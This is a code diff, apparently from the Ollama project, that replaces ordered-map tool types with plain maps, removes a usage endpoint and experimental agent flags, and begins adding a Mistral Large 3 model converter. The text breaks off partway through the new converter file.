cleanup + add tokenizer hash

api/client.go

@@ -377,15 +377,6 @@ func (c *Client) ListRunning(ctx context.Context) (*ProcessResponse, error) {
 	return &lr, nil
 }
 
-// Usage returns usage statistics and system info.
-func (c *Client) Usage(ctx context.Context) (*UsageResponse, error) {
-	var ur UsageResponse
-	if err := c.do(ctx, http.MethodGet, "/api/usage", nil, &ur); err != nil {
-		return nil, err
-	}
-	return &ur, nil
-}
-
 // Copy copies a model - creating a model with another name from an existing
 // model.
 func (c *Client) Copy(ctx context.Context, req *CopyRequest) error {

api/types.go

@@ -3,7 +3,6 @@ package api
 import (
 	"encoding/json"
 	"fmt"
-	"iter"
 	"log/slog"
 	"math"
 	"os"
@@ -15,7 +14,6 @@ import (
 	"github.com/google/uuid"
 
 	"github.com/ollama/ollama/envconfig"
-	"github.com/ollama/ollama/internal/orderedmap"
 	"github.com/ollama/ollama/types/model"
 )
 
@@ -229,79 +227,13 @@ type ToolCallFunction struct {
 	Arguments ToolCallFunctionArguments `json:"arguments"`
 }
 
-// ToolCallFunctionArguments holds tool call arguments in insertion order.
-type ToolCallFunctionArguments struct {
-	om *orderedmap.Map[string, any]
-}
-
-// NewToolCallFunctionArguments creates a new empty ToolCallFunctionArguments.
-func NewToolCallFunctionArguments() ToolCallFunctionArguments {
-	return ToolCallFunctionArguments{om: orderedmap.New[string, any]()}
-}
-
-// Get retrieves a value by key.
-func (t *ToolCallFunctionArguments) Get(key string) (any, bool) {
-	if t == nil || t.om == nil {
-		return nil, false
-	}
-	return t.om.Get(key)
-}
-
-// Set sets a key-value pair, preserving insertion order.
-func (t *ToolCallFunctionArguments) Set(key string, value any) {
-	if t == nil {
-		return
-	}
-	if t.om == nil {
-		t.om = orderedmap.New[string, any]()
-	}
-	t.om.Set(key, value)
-}
-
-// Len returns the number of arguments.
-func (t *ToolCallFunctionArguments) Len() int {
-	if t == nil || t.om == nil {
-		return 0
-	}
-	return t.om.Len()
-}
-
-// All returns an iterator over all key-value pairs in insertion order.
-func (t *ToolCallFunctionArguments) All() iter.Seq2[string, any] {
-	if t == nil || t.om == nil {
-		return func(yield func(string, any) bool) {}
-	}
-	return t.om.All()
-}
-
-// ToMap returns a regular map (order not preserved).
-func (t *ToolCallFunctionArguments) ToMap() map[string]any {
-	if t == nil || t.om == nil {
-		return nil
-	}
-	return t.om.ToMap()
-}
+type ToolCallFunctionArguments map[string]any
 
 func (t *ToolCallFunctionArguments) String() string {
-	if t == nil || t.om == nil {
-		return "{}"
-	}
-	bts, _ := json.Marshal(t.om)
+	bts, _ := json.Marshal(t)
 	return string(bts)
 }
 
-func (t *ToolCallFunctionArguments) UnmarshalJSON(data []byte) error {
-	t.om = orderedmap.New[string, any]()
-	return json.Unmarshal(data, t.om)
-}
-
-func (t ToolCallFunctionArguments) MarshalJSON() ([]byte, error) {
-	if t.om == nil {
-		return []byte("{}"), nil
-	}
-	return json.Marshal(t.om)
-}
-
 type Tool struct {
 	Type     string       `json:"type"`
 	Items    any          `json:"items,omitempty"`
@@ -350,78 +282,13 @@ func (pt PropertyType) String() string {
 	return fmt.Sprintf("%v", []string(pt))
 }
 
-// ToolPropertiesMap holds tool properties in insertion order.
-type ToolPropertiesMap struct {
-	om *orderedmap.Map[string, ToolProperty]
-}
-
-// NewToolPropertiesMap creates a new empty ToolPropertiesMap.
-func NewToolPropertiesMap() *ToolPropertiesMap {
-	return &ToolPropertiesMap{om: orderedmap.New[string, ToolProperty]()}
-}
-
-// Get retrieves a property by name.
-func (t *ToolPropertiesMap) Get(key string) (ToolProperty, bool) {
-	if t == nil || t.om == nil {
-		return ToolProperty{}, false
-	}
-	return t.om.Get(key)
-}
-
-// Set sets a property, preserving insertion order.
-func (t *ToolPropertiesMap) Set(key string, value ToolProperty) {
-	if t == nil {
-		return
-	}
-	if t.om == nil {
-		t.om = orderedmap.New[string, ToolProperty]()
-	}
-	t.om.Set(key, value)
-}
-
-// Len returns the number of properties.
-func (t *ToolPropertiesMap) Len() int {
-	if t == nil || t.om == nil {
-		return 0
-	}
-	return t.om.Len()
-}
-
-// All returns an iterator over all properties in insertion order.
-func (t *ToolPropertiesMap) All() iter.Seq2[string, ToolProperty] {
-	if t == nil || t.om == nil {
-		return func(yield func(string, ToolProperty) bool) {}
-	}
-	return t.om.All()
-}
-
-// ToMap returns a regular map (order not preserved).
-func (t *ToolPropertiesMap) ToMap() map[string]ToolProperty {
-	if t == nil || t.om == nil {
-		return nil
-	}
-	return t.om.ToMap()
-}
-
-func (t ToolPropertiesMap) MarshalJSON() ([]byte, error) {
-	if t.om == nil {
-		return []byte("null"), nil
-	}
-	return json.Marshal(t.om)
-}
-
-func (t *ToolPropertiesMap) UnmarshalJSON(data []byte) error {
-	t.om = orderedmap.New[string, ToolProperty]()
-	return json.Unmarshal(data, t.om)
-}
-
 type ToolProperty struct {
-	AnyOf       []ToolProperty     `json:"anyOf,omitempty"`
-	Type        PropertyType       `json:"type,omitempty"`
-	Items       any                `json:"items,omitempty"`
-	Description string             `json:"description,omitempty"`
-	Enum        []any              `json:"enum,omitempty"`
-	Properties  *ToolPropertiesMap `json:"properties,omitempty"`
+	AnyOf       []ToolProperty          `json:"anyOf,omitempty"`
+	Type        PropertyType            `json:"type,omitempty"`
+	Items       any                     `json:"items,omitempty"`
+	Description string                  `json:"description,omitempty"`
+	Enum        []any                   `json:"enum,omitempty"`
+	Properties  map[string]ToolProperty `json:"properties,omitempty"`
 }
 
 // ToTypeScriptType converts a ToolProperty to a TypeScript type string
@@ -470,11 +337,11 @@ func mapToTypeScriptType(jsonType string) string {
 }
 
 type ToolFunctionParameters struct {
-	Type       string             `json:"type"`
-	Defs       any                `json:"$defs,omitempty"`
-	Items      any                `json:"items,omitempty"`
-	Required   []string           `json:"required,omitempty"`
-	Properties *ToolPropertiesMap `json:"properties"`
+	Type       string                  `json:"type"`
+	Defs       any                     `json:"$defs,omitempty"`
+	Items      any                     `json:"items,omitempty"`
+	Required   []string                `json:"required,omitempty"`
+	Properties map[string]ToolProperty `json:"properties"`
 }
 
 func (t *ToolFunctionParameters) String() string {
@@ -687,9 +554,6 @@ type CreateRequest struct {
 	Renderer string `json:"renderer,omitempty"`
 	Parser   string `json:"parser,omitempty"`
 
-	// Requires is the minimum version of Ollama required by the model.
-	Requires string `json:"requires,omitempty"`
-
 	// Info is a map of additional information for the model
 	Info map[string]any `json:"info,omitempty"`
 
@@ -740,7 +604,6 @@ type ShowResponse struct {
 	Tensors       []Tensor           `json:"tensors,omitempty"`
 	Capabilities  []model.Capability `json:"capabilities,omitempty"`
 	ModifiedAt    time.Time          `json:"modified_at,omitempty"`
-	Requires      string             `json:"requires,omitempty"`
 }
 
 // CopyRequest is the request passed to [Client.Copy].
@@ -792,33 +655,6 @@ type ProcessResponse struct {
 	Models []ProcessModelResponse `json:"models"`
 }
 
-// UsageResponse is the response from [Client.Usage].
-type UsageResponse struct {
-	GPUs []GPUUsage `json:"gpus,omitempty"`
-}
-
-// GPUUsage contains GPU/device memory usage breakdown.
-type GPUUsage struct {
-	Name    string `json:"name"`    // Device name (e.g., "Apple M2 Max", "NVIDIA GeForce RTX 4090")
-	Backend string `json:"backend"` // CUDA, ROCm, Metal, etc.
-	Total   uint64 `json:"total"`
-	Free    uint64 `json:"free"`
-	Used    uint64 `json:"used"`  // Memory used by Ollama
-	Other   uint64 `json:"other"` // Memory used by other processes
-}
-
-// UsageStats contains usage statistics.
-type UsageStats struct {
-	Requests         int64            `json:"requests"`
-	TokensInput      int64            `json:"tokens_input"`
-	TokensOutput     int64            `json:"tokens_output"`
-	TotalTokens      int64            `json:"total_tokens"`
-	Models           map[string]int64 `json:"models,omitempty"`
-	Sources          map[string]int64 `json:"sources,omitempty"`
-	ToolCalls        int64            `json:"tool_calls,omitempty"`
-	StructuredOutput int64            `json:"structured_output,omitempty"`
-}
-
 // ListModelResponse is a single model description in [ListResponse].
 type ListModelResponse struct {
 	Name        string       `json:"name"`

api/types_test.go

@@ -11,24 +11,6 @@ import (
 	"github.com/stretchr/testify/require"
 )
 
-// testPropsMap creates a ToolPropertiesMap from a map (convenience function for tests, order not preserved)
-func testPropsMap(m map[string]ToolProperty) *ToolPropertiesMap {
-	props := NewToolPropertiesMap()
-	for k, v := range m {
-		props.Set(k, v)
-	}
-	return props
-}
-
-// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
-func testArgs(m map[string]any) ToolCallFunctionArguments {
-	args := NewToolCallFunctionArguments()
-	for k, v := range m {
-		args.Set(k, v)
-	}
-	return args
-}
-
 func TestKeepAliveParsingFromJSON(t *testing.T) {
 	tests := []struct {
 		name string
@@ -327,9 +309,9 @@ func TestToolFunctionParameters_MarshalJSON(t *testing.T) {
 			input: ToolFunctionParameters{
 				Type:     "object",
 				Required: []string{"name"},
-				Properties: testPropsMap(map[string]ToolProperty{
+				Properties: map[string]ToolProperty{
 					"name": {Type: PropertyType{"string"}},
-				}),
+				},
 			},
 			expected: `{"type":"object","required":["name"],"properties":{"name":{"type":"string"}}}`,
 		},
@@ -337,9 +319,9 @@ func TestToolFunctionParameters_MarshalJSON(t *testing.T) {
 			name: "no required",
 			input: ToolFunctionParameters{
 				Type: "object",
-				Properties: testPropsMap(map[string]ToolProperty{
+				Properties: map[string]ToolProperty{
 					"name": {Type: PropertyType{"string"}},
-				}),
+				},
 			},
 			expected: `{"type":"object","properties":{"name":{"type":"string"}}}`,
 		},
@@ -357,7 +339,7 @@ func TestToolFunctionParameters_MarshalJSON(t *testing.T) {
 func TestToolCallFunction_IndexAlwaysMarshals(t *testing.T) {
 	fn := ToolCallFunction{
 		Name:      "echo",
-		Arguments: testArgs(map[string]any{"message": "hi"}),
+		Arguments: ToolCallFunctionArguments{"message": "hi"},
 	}
 
 	data, err := json.Marshal(fn)
@@ -547,7 +529,7 @@ func TestToolPropertyNestedProperties(t *testing.T) {
 			expected: ToolProperty{
 				Type:        PropertyType{"object"},
 				Description: "Location details",
-				Properties: testPropsMap(map[string]ToolProperty{
+				Properties: map[string]ToolProperty{
 					"address": {
 						Type:        PropertyType{"string"},
 						Description: "Street address",
@@ -556,7 +538,7 @@ func TestToolPropertyNestedProperties(t *testing.T) {
 						Type:        PropertyType{"string"},
 						Description: "City name",
 					},
-				}),
+				},
 			},
 		},
 		{
@@ -584,22 +566,22 @@ func TestToolPropertyNestedProperties(t *testing.T) {
 			expected: ToolProperty{
 				Type:        PropertyType{"object"},
 				Description: "Event",
-				Properties: testPropsMap(map[string]ToolProperty{
+				Properties: map[string]ToolProperty{
 					"location": {
 						Type:        PropertyType{"object"},
 						Description: "Location",
-						Properties: testPropsMap(map[string]ToolProperty{
+						Properties: map[string]ToolProperty{
 							"coordinates": {
 								Type:        PropertyType{"object"},
 								Description: "GPS coordinates",
-								Properties: testPropsMap(map[string]ToolProperty{
+								Properties: map[string]ToolProperty{
 									"lat": {Type: PropertyType{"number"}, Description: "Latitude"},
 									"lng": {Type: PropertyType{"number"}, Description: "Longitude"},
-								}),
+								},
 							},
-						}),
+						},
 					},
-				}),
+				},
 			},
 		},
 	}
@@ -609,13 +591,7 @@ func TestToolPropertyNestedProperties(t *testing.T) {
 			var prop ToolProperty
 			err := json.Unmarshal([]byte(tt.input), &prop)
 			require.NoError(t, err)
-
-			// Compare JSON representations since pointer comparison doesn't work
-			expectedJSON, err := json.Marshal(tt.expected)
-			require.NoError(t, err)
-			actualJSON, err := json.Marshal(prop)
-			require.NoError(t, err)
-			assert.JSONEq(t, string(expectedJSON), string(actualJSON))
+			assert.Equal(t, tt.expected, prop)
 
 			// Round-trip test: marshal and unmarshal again
 			data, err := json.Marshal(prop)
@@ -624,10 +600,7 @@ func TestToolPropertyNestedProperties(t *testing.T) {
 			var prop2 ToolProperty
 			err = json.Unmarshal(data, &prop2)
 			require.NoError(t, err)
-
-			prop2JSON, err := json.Marshal(prop2)
-			require.NoError(t, err)
-			assert.JSONEq(t, string(expectedJSON), string(prop2JSON))
+			assert.Equal(t, tt.expected, prop2)
 		})
 	}
 }
@@ -643,12 +616,12 @@ func TestToolFunctionParameters_String(t *testing.T) {
 			params: ToolFunctionParameters{
 				Type:     "object",
 				Required: []string{"name"},
-				Properties: testPropsMap(map[string]ToolProperty{
+				Properties: map[string]ToolProperty{
 					"name": {
 						Type:        PropertyType{"string"},
 						Description: "The name of the person",
 					},
-				}),
+				},
 			},
 			expected: `{"type":"object","required":["name"],"properties":{"name":{"type":"string","description":"The name of the person"}}}`,
 		},
@@ -665,7 +638,7 @@ func TestToolFunctionParameters_String(t *testing.T) {
 					s.Self = s
 					return s
 				}(),
-				Properties: testPropsMap(map[string]ToolProperty{}),
+				Properties: map[string]ToolProperty{},
 			},
 			expected: "",
 		},
@@ -678,235 +651,3 @@ func TestToolFunctionParameters_String(t *testing.T) {
 		})
 	}
 }
-
-func TestToolCallFunctionArguments_OrderPreservation(t *testing.T) {
-	t.Run("marshal preserves insertion order", func(t *testing.T) {
-		args := NewToolCallFunctionArguments()
-		args.Set("zebra", "z")
-		args.Set("apple", "a")
-		args.Set("mango", "m")
-
-		data, err := json.Marshal(args)
-		require.NoError(t, err)
-
-		// Should preserve insertion order, not alphabetical
-		assert.Equal(t, `{"zebra":"z","apple":"a","mango":"m"}`, string(data))
-	})
-
-	t.Run("unmarshal preserves JSON order", func(t *testing.T) {
-		jsonData := `{"zebra":"z","apple":"a","mango":"m"}`
-
-		var args ToolCallFunctionArguments
-		err := json.Unmarshal([]byte(jsonData), &args)
-		require.NoError(t, err)
-
-		// Verify iteration order matches JSON order
-		var keys []string
-		for k := range args.All() {
-			keys = append(keys, k)
-		}
-		assert.Equal(t, []string{"zebra", "apple", "mango"}, keys)
-	})
-
-	t.Run("round trip preserves order", func(t *testing.T) {
-		original := `{"z":1,"a":2,"m":3,"b":4}`
-
-		var args ToolCallFunctionArguments
-		err := json.Unmarshal([]byte(original), &args)
-		require.NoError(t, err)
-
-		data, err := json.Marshal(args)
-		require.NoError(t, err)
-
-		assert.Equal(t, original, string(data))
-	})
-
-	t.Run("String method returns ordered JSON", func(t *testing.T) {
-		args := NewToolCallFunctionArguments()
-		args.Set("c", 3)
-		args.Set("a", 1)
-		args.Set("b", 2)
-
-		assert.Equal(t, `{"c":3,"a":1,"b":2}`, args.String())
-	})
-
-	t.Run("Get retrieves correct values", func(t *testing.T) {
-		args := NewToolCallFunctionArguments()
-		args.Set("key1", "value1")
-		args.Set("key2", 42)
-
-		v, ok := args.Get("key1")
-		assert.True(t, ok)
-		assert.Equal(t, "value1", v)
-
-		v, ok = args.Get("key2")
-		assert.True(t, ok)
-		assert.Equal(t, 42, v)
-
-		_, ok = args.Get("nonexistent")
-		assert.False(t, ok)
-	})
-
-	t.Run("Len returns correct count", func(t *testing.T) {
-		args := NewToolCallFunctionArguments()
-		assert.Equal(t, 0, args.Len())
-
-		args.Set("a", 1)
-		assert.Equal(t, 1, args.Len())
-
-		args.Set("b", 2)
-		assert.Equal(t, 2, args.Len())
-	})
-
-	t.Run("empty args marshal to empty object", func(t *testing.T) {
-		args := NewToolCallFunctionArguments()
-		data, err := json.Marshal(args)
-		require.NoError(t, err)
-		assert.Equal(t, `{}`, string(data))
-	})
-
-	t.Run("zero value args marshal to empty object", func(t *testing.T) {
-		var args ToolCallFunctionArguments
-		assert.Equal(t, "{}", args.String())
-	})
-}
-
-func TestToolPropertiesMap_OrderPreservation(t *testing.T) {
-	t.Run("marshal preserves insertion order", func(t *testing.T) {
-		props := NewToolPropertiesMap()
-		props.Set("zebra", ToolProperty{Type: PropertyType{"string"}})
-		props.Set("apple", ToolProperty{Type: PropertyType{"number"}})
-		props.Set("mango", ToolProperty{Type: PropertyType{"boolean"}})
-
-		data, err := json.Marshal(props)
-		require.NoError(t, err)
-
-		// Should preserve insertion order, not alphabetical
-		expected := `{"zebra":{"type":"string"},"apple":{"type":"number"},"mango":{"type":"boolean"}}`
-		assert.Equal(t, expected, string(data))
-	})
-
-	t.Run("unmarshal preserves JSON order", func(t *testing.T) {
-		jsonData := `{"zebra":{"type":"string"},"apple":{"type":"number"},"mango":{"type":"boolean"}}`
-
-		var props ToolPropertiesMap
-		err := json.Unmarshal([]byte(jsonData), &props)
-		require.NoError(t, err)
-
-		// Verify iteration order matches JSON order
-		var keys []string
-		for k := range props.All() {
-			keys = append(keys, k)
-		}
-		assert.Equal(t, []string{"zebra", "apple", "mango"}, keys)
-	})
-
-	t.Run("round trip preserves order", func(t *testing.T) {
-		original := `{"z":{"type":"string"},"a":{"type":"number"},"m":{"type":"boolean"}}`
-
-		var props ToolPropertiesMap
-		err := json.Unmarshal([]byte(original), &props)
-		require.NoError(t, err)
-
-		data, err := json.Marshal(props)
-		require.NoError(t, err)
-
-		assert.Equal(t, original, string(data))
-	})
-
-	t.Run("Get retrieves correct values", func(t *testing.T) {
-		props := NewToolPropertiesMap()
-		props.Set("name", ToolProperty{Type: PropertyType{"string"}, Description: "The name"})
-		props.Set("age", ToolProperty{Type: PropertyType{"integer"}, Description: "The age"})
-
-		v, ok := props.Get("name")
-		assert.True(t, ok)
-		assert.Equal(t, "The name", v.Description)
-
-		v, ok = props.Get("age")
-		assert.True(t, ok)
-		assert.Equal(t, "The age", v.Description)
-
-		_, ok = props.Get("nonexistent")
-		assert.False(t, ok)
-	})
-
-	t.Run("Len returns correct count", func(t *testing.T) {
-		props := NewToolPropertiesMap()
-		assert.Equal(t, 0, props.Len())
-
-		props.Set("a", ToolProperty{})
-		assert.Equal(t, 1, props.Len())
-
-		props.Set("b", ToolProperty{})
-		assert.Equal(t, 2, props.Len())
-	})
-
-	t.Run("nil props marshal to null", func(t *testing.T) {
-		var props *ToolPropertiesMap
-		data, err := json.Marshal(props)
-		require.NoError(t, err)
-		assert.Equal(t, `null`, string(data))
-	})
-
-	t.Run("ToMap returns regular map", func(t *testing.T) {
-		props := NewToolPropertiesMap()
-		props.Set("a", ToolProperty{Type: PropertyType{"string"}})
-		props.Set("b", ToolProperty{Type: PropertyType{"number"}})
-
-		m := props.ToMap()
-		assert.Equal(t, 2, len(m))
-		assert.Equal(t, PropertyType{"string"}, m["a"].Type)
-		assert.Equal(t, PropertyType{"number"}, m["b"].Type)
-	})
-}
-
-func TestToolCallFunctionArguments_ComplexValues(t *testing.T) {
-	t.Run("nested objects preserve order", func(t *testing.T) {
-		jsonData := `{"outer":{"z":1,"a":2},"simple":"value"}`
-
-		var args ToolCallFunctionArguments
-		err := json.Unmarshal([]byte(jsonData), &args)
-		require.NoError(t, err)
-
-		// Outer keys should be in order
-		var keys []string
-		for k := range args.All() {
-			keys = append(keys, k)
-		}
-		assert.Equal(t, []string{"outer", "simple"}, keys)
-	})
-
-	t.Run("arrays as values", func(t *testing.T) {
-		args := NewToolCallFunctionArguments()
-		args.Set("items", []string{"a", "b", "c"})
-		args.Set("numbers", []int{1, 2, 3})
-
-		data, err := json.Marshal(args)
-		require.NoError(t, err)
-
-		assert.Equal(t, `{"items":["a","b","c"],"numbers":[1,2,3]}`, string(data))
-	})
-}
-
-func TestToolPropertiesMap_NestedProperties(t *testing.T) {
-	t.Run("nested properties preserve order", func(t *testing.T) {
-		props := NewToolPropertiesMap()
-
-		nestedProps := NewToolPropertiesMap()
-		nestedProps.Set("z_field", ToolProperty{Type: PropertyType{"string"}})
-		nestedProps.Set("a_field", ToolProperty{Type: PropertyType{"number"}})
-
-		props.Set("outer", ToolProperty{
-			Type:       PropertyType{"object"},
-			Properties: nestedProps,
-		})
-
-		data, err := json.Marshal(props)
-		require.NoError(t, err)
-
-		// Both outer and inner should preserve order
-		expected := `{"outer":{"type":"object","properties":{"z_field":{"type":"string"},"a_field":{"type":"number"}}}}`
-		assert.Equal(t, expected, string(data))
-	})
-}

app/ui/app/src/lib/highlighter.ts

@@ -147,7 +147,6 @@ export const highlighterPromise = createHighlighter({
     "c",
     "cpp",
     "sql",
-    "swift",
     "yaml",
     "markdown",
   ],

app/ui/ui.go

@@ -997,7 +997,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error {
 				for _, toolCall := range res.Message.ToolCalls {
 					// continues loop as tools were executed
 					toolsExecuted = true
-					result, content, err := registry.Execute(ctx, toolCall.Function.Name, toolCall.Function.Arguments.ToMap())
+					result, content, err := registry.Execute(ctx, toolCall.Function.Name, toolCall.Function.Arguments)
 					if err != nil {
 						errContent := fmt.Sprintf("Error: %v", err)
 						toolErrMsg := store.NewMessage("tool", errContent, nil)
@@ -1558,13 +1558,13 @@ func convertToOllamaTool(toolSchema map[string]any) api.Tool {
 
 	tool.Function.Parameters.Type = "object"
 	tool.Function.Parameters.Required = []string{}
-	tool.Function.Parameters.Properties = api.NewToolPropertiesMap()
+	tool.Function.Parameters.Properties = make(map[string]api.ToolProperty)
 
 	if schemaProps, ok := toolSchema["schema"].(map[string]any); ok {
 		tool.Function.Parameters.Type = getStringFromMap(schemaProps, "type", "object")
 
 		if props, ok := schemaProps["properties"].(map[string]any); ok {
-			tool.Function.Parameters.Properties = api.NewToolPropertiesMap()
+			tool.Function.Parameters.Properties = make(map[string]api.ToolProperty)
 
 			for propName, propDef := range props {
 				if propMap, ok := propDef.(map[string]any); ok {
@@ -1572,7 +1572,7 @@ func convertToOllamaTool(toolSchema map[string]any) api.Tool {
 						Type:        api.PropertyType{getStringFromMap(propMap, "type", "string")},
 						Description: getStringFromMap(propMap, "description", ""),
 					}
-					tool.Function.Parameters.Properties.Set(propName, prop)
+					tool.Function.Parameters.Properties[propName] = prop
 				}
 			}
 		}

cmd/cmd.go

@@ -45,7 +45,6 @@ import (
 	"github.com/ollama/ollama/types/model"
 	"github.com/ollama/ollama/types/syncmap"
 	"github.com/ollama/ollama/version"
-	xcmd "github.com/ollama/ollama/x/cmd"
 )
 
 const ConnectInstructions = "To sign in, navigate to:\n    %s\n\n"
@@ -518,10 +517,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 		return generateEmbedding(cmd, name, opts.Prompt, opts.KeepAlive, truncate, dimensions)
 	}
 
-	// Check for experimental flag
-	isExperimental, _ := cmd.Flags().GetBool("experimental")
-	yoloMode, _ := cmd.Flags().GetBool("yolo")
-
 	if interactive {
 		if err := loadOrUnloadModel(cmd, &opts); err != nil {
 			var sErr api.AuthorizationError
@@ -548,11 +543,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 			}
 		}
 
-		// Use experimental agent loop with tools
-		if isExperimental {
-			return xcmd.GenerateInteractive(cmd, opts.Model, opts.WordWrap, opts.Options, opts.Think, opts.HideThinking, opts.KeepAlive, yoloMode)
-		}
-
 		return generateInteractive(cmd, opts)
 	}
 	return generate(cmd, opts)
@@ -953,9 +943,6 @@ func showInfo(resp *api.ShowResponse, verbose bool, w io.Writer) error {
 			rows = append(rows, []string{"", "parameters", resp.Details.ParameterSize})
 		}
 		rows = append(rows, []string{"", "quantization", resp.Details.QuantizationLevel})
-		if resp.Requires != "" {
-			rows = append(rows, []string{"", "requires", resp.Requires})
-		}
 		return
 	})
 
@@ -1764,8 +1751,6 @@ func NewCLI() *cobra.Command {
 	runCmd.Flags().Bool("hidethinking", false, "Hide thinking output (if provided)")
 	runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead")
 	runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)")
-	runCmd.Flags().Bool("experimental", false, "Enable experimental agent loop with tools")
-	runCmd.Flags().BoolP("yolo", "y", false, "Skip all tool approval prompts (use with caution)")
 
 	stopCmd := &cobra.Command{
 		Use:     "stop MODEL",
@@ -1833,7 +1818,6 @@ func NewCLI() *cobra.Command {
 		PreRunE: checkServerHeartbeat,
 		RunE:    ListRunningHandler,
 	}
-
 	copyCmd := &cobra.Command{
 		Use:     "cp SOURCE DESTINATION",
 		Short:   "Copy a model",

cmd/cmd_test.go

@@ -291,31 +291,6 @@ Weigh anchor!
 			t.Errorf("unexpected output (-want +got):\n%s", diff)
 		}
 	})
-
-	t.Run("min version", func(t *testing.T) {
-		var b bytes.Buffer
-		if err := showInfo(&api.ShowResponse{
-			Details: api.ModelDetails{
-				Family:            "test",
-				ParameterSize:     "7B",
-				QuantizationLevel: "FP16",
-			},
-			Requires: "0.14.0",
-		}, false, &b); err != nil {
-			t.Fatal(err)
-		}
-
-		expect := `  Model
-    architecture    test      
-    parameters      7B        
-    quantization    FP16      
-    requires        0.14.0    
-
-`
-		if diff := cmp.Diff(expect, b.String()); diff != "" {
-			t.Errorf("unexpected output (-want +got):\n%s", diff)
-		}
-	})
 }
 
 func TestDeleteHandler(t *testing.T) {

cmd/interactive.go

@@ -40,7 +40,6 @@ func generateInteractive(cmd *cobra.Command, opts runOptions) error {
 		fmt.Fprintln(os.Stderr, "  /bye            Exit")
 		fmt.Fprintln(os.Stderr, "  /?, /help       Help for a command")
 		fmt.Fprintln(os.Stderr, "  /? shortcuts    Help for keyboard shortcuts")
-
 		fmt.Fprintln(os.Stderr, "")
 		fmt.Fprintln(os.Stderr, "Use \"\"\" to begin a multi-line message.")
 

convert/convert.go

@@ -216,6 +216,8 @@ func ConvertModel(fsys fs.FS, f *os.File) error {
 		conv = &deepseekocr{}
 	case "DeepseekV3ForCausalLM":
 		conv = &deepseek2Model{}
+	case "MistralForCausalLM":
+		conv = &mistralLarge3Model{}
 	default:
 		return fmt.Errorf("unsupported architecture %q", p.Architectures[0])
 	}

convert/convert_mistrallarge3.go

@@ -0,0 +1,286 @@
+package convert
+
+import (
+	"cmp"
+	"fmt"
+	"log/slog"
+	"regexp"
+	"strconv"
+	"strings"
+
+	"github.com/ollama/ollama/fs/ggml"
+)
+
+type mistralLarge3Model struct {
+	ModelParameters
+	Dim            uint32  `json:"dim"`
+	NumLayers      uint32  `json:"n_layers"`
+	HeadDim        uint32  `json:"head_dim"`
+	HiddenDim      uint32  `json:"hidden_dim"`
+	NumHeads       uint32  `json:"n_heads"`
+	NumKVHeads     uint32  `json:"n_kv_heads"`
+	RopeTheta      float32 `json:"rope_theta"`
+	NormEps        float32 `json:"norm_eps"`
+	VocabSize      uint32  `json:"vocab_size"`
+	TiedEmbeddings bool    `json:"tied_embeddings"`
+	MaxPosEmbed    uint32  `json:"max_position_embeddings"`
+	MaxSeqLen      uint32  `json:"max_seq_len"`
+
+	// LoRA attention parameters (DeepSeek-style)
+	QLoraRank     uint32 `json:"q_lora_rank"`
+	QKRopeHeadDim uint32 `json:"qk_rope_head_dim"`
+	QKNopeHeadDim uint32 `json:"qk_nope_head_dim"`
+	KVLoraRank    uint32 `json:"kv_lora_rank"`
+	VHeadDim      uint32 `json:"v_head_dim"`
+
+	// ROPE scaling configurations
+	Llama4Scaling struct {
+		OrigMaxPosEmbed uint32  `json:"original_max_position_embeddings"`
+		Beta            float32 `json:"beta"`
+	} `json:"llama_4_scaling"`
+
+	Yarn struct {
+		OrigMaxPosEmbed uint32  `json:"original_max_position_embeddings"`
+		Factor          float32 `json:"factor"`
+		ApplyScale      bool    `json:"apply_scale"`
+		Beta            float32 `json:"beta"`
+		Alpha           float32 `json:"alpha"`
+	} `json:"yarn"`
+
+	// MOE configuration
+	MOE struct {
+		ExpertParallel        uint32  `json:"expert_parallel"`
+		ExpertModelParallel   uint32  `json:"expert_model_parallel"`
+		RouteEveryN           uint32  `json:"route_every_n"`
+		FirstKDenseReplace    uint32  `json:"first_k_dense_replace"`
+		NumExperts            uint32  `json:"num_experts"`
+		NumExpertsPerTok      uint32  `json:"num_experts_per_tok"`
+		NumExpertGroups       uint32  `json:"num_expert_groups"`
+		NumExpertGroupsPerTok uint32  `json:"num_expert_groups_per_tok"`
+		RoutedScale           float32 `json:"routed_scale"`
+		ExpertHiddenDim       uint32  `json:"expert_hidden_dim"`
+		NumSharedExperts      uint32  `json:"num_shared_experts"`
+	} `json:"moe"`
+
+	// Vision encoder configuration
+	VisionEncoder struct {
+		ImageTokenID               uint32  `json:"image_token_id"`
+		ImageBreakTokenID          uint32  `json:"image_break_token_id"`
+		ImageEndTokenID            uint32  `json:"image_end_token_id"`
+		IntermediateSize           uint32  `json:"intermediate_size"`
+		NumHiddenLayers            uint32  `json:"num_hidden_layers"`
+		NumAttentionHeads          uint32  `json:"num_attention_heads"`
+		MMProjectorID              string  `json:"mm_projector_id"`
+		SpatialMergeSize           uint32  `json:"spatial_merge_size"`
+		HiddenSize                 uint32  `json:"hidden_size"`
+		NumChannels                uint32  `json:"num_channels"`
+		ImageSize                  uint32  `json:"image_size"`
+		MaxImageSize               uint32  `json:"max_image_size"`
+		PatchSize                  uint32  `json:"patch_size"`
+		RopeTheta                  float32 `json:"rope_theta"`
+		AddPreMMProjectorLayerNorm bool    `json:"add_pre_mm_projector_layer_norm"`
+		AdapterBias                bool    `json:"adapter_bias"`
+	} `json:"vision_encoder"`
+}
+
+func (p *mistralLarge3Model) KV(t *Tokenizer) ggml.KV {
+	kv := p.ModelParameters.KV(t)
+	kv["general.architecture"] = "deepseek2" // Use deepseek2 architecture for runtime compatibility
+	kv["general.type"] = "model"
+
+	// Basic model parameters (using deepseek2 keys for compatibility)
+	kv["deepseek2.vocab_size"] = p.VocabSize
+	kv["deepseek2.block_count"] = p.NumLayers
+	kv["deepseek2.context_length"] = cmp.Or(p.MaxPosEmbed, p.MaxSeqLen)
+	kv["deepseek2.embedding_length"] = p.Dim
+	kv["deepseek2.feed_forward_length"] = p.HiddenDim
+
+	// Attention configuration
+	kv["deepseek2.attention.head_count"] = p.NumHeads
+	kv["deepseek2.attention.head_count_kv"] = p.NumKVHeads
+	kv["deepseek2.attention.layer_norm_rms_epsilon"] = p.NormEps
+	kv["deepseek2.attention.key_length"] = p.QKNopeHeadDim + p.QKRopeHeadDim
+	kv["deepseek2.attention.value_length"] = p.VHeadDim
+
